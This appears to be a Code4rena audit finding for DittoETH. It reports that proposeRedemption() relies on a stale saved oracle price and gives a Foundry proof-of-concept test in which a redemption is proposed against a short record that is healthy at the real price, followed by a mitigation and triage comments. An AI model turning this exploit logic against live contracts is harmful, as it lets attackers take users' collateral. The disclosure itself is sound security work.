c4-bot-5 commented 5 months ago

Lines of code

https://github.com/code-423n4/2024-03-dittoeth/blob/91faf46078bb6fe8ce9f55bcb717e5d2d302d22e/contracts/facets/RedemptionFacet.sol#L75

Vulnerability details

Impact

proposeRedemption() does not update asset price when called. If the protocol functions that update the price are not called for some time the real asset price can change but during the proposal of redemption, the protocol will calculate the CR according to the old saved price.

In such conditions, users are able to make redemptions to Short Records with healthy CRs (that are above redemptionCR)

Proof of Concept

Run the test with forge test --mt test_oldOraclePrice -vv. Paste the following on the bottom of the BidOrders.t.sol file for example:

function proposeRedemption(address account, uint88 redemptionAmount, address shorter, uint8 shortId) private {
        depositEth(account, MAX_REDEMPTION_FEE);
        MTypes.ProposalInput[] memory proposalInputs = new MTypes.ProposalInput[](1);
        proposalInputs[0] = MTypes.ProposalInput({shorter: shorter, shortId: shortId, shortOrderId: 100}); // shortOrderId doesn't matter here
        depositUsd(account, redemptionAmount);

        vm.prank(account);
        diamond.proposeRedemption(asset, proposalInputs, redemptionAmount, MAX_REDEMPTION_FEE);
    }

    function test_oldOraclePrice() public {
        address seller = makeAddr("seller");
        address buyer = makeAddr("buyer");
        address randomRedemptioner = makeAddr("randomRedemptioner");

        // 1. make Short Record
        {
            fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, seller);
            fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, buyer);
        }

        {
            STypes.ShortRecord memory shortRecord = diamond.getShortRecord(asset, seller, 2);
            uint256 cr = diamond.getCollateralRatio(asset, shortRecord);
            console.log("Short Record CR after match", cr); // CR 6X
        }

        // 2. Time passes, price drops and protocol updates its price through any user action and CR becomes 1.90
        skip(10000);
        _setETH(1080 ether);

        {
            STypes.ShortRecord memory shortRecord = diamond.getShortRecord(asset, seller, 2);
            uint256 cr = diamond.getCollateralRatio(asset, shortRecord);
            console.log("Short Record CR after match", cr); // CR 1.62X
        }

        // 3. Time passes, no redemptions are made and the price goes back up
        skip(1600);
        _setETHChainlinkOnly(1500 ether);

        // # Toggle this - this will update the oracle price and save it in the protocol.
        // {
        // fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, buyer);
        // }

        // 4. CR is 2.25 on actual oracle price but redemption can be made against this position because the saved price makes the position with CR 1.62
        proposeRedemption(randomRedemptioner, DEFAULT_AMOUNT, seller, 2);
    }

You can toggle the indicated part in the test to see, that when the protocol gets the real asset price, the redemption proposal reverts.

Tools Used

Manual Review

Recommended Mitigation Steps

Use the real asset price instead of the saved one inside proposeRedemption()

Assessed type

Oracle

c4-pre-sort commented 5 months ago

raymondfam marked the issue as sufficient quality report

c4-pre-sort commented 5 months ago

raymondfam marked the issue as duplicate of #114

raymondfam commented 5 months ago

See #128.

c4-judge commented 4 months ago

hansfriese changed the severity to 2 (Med Risk)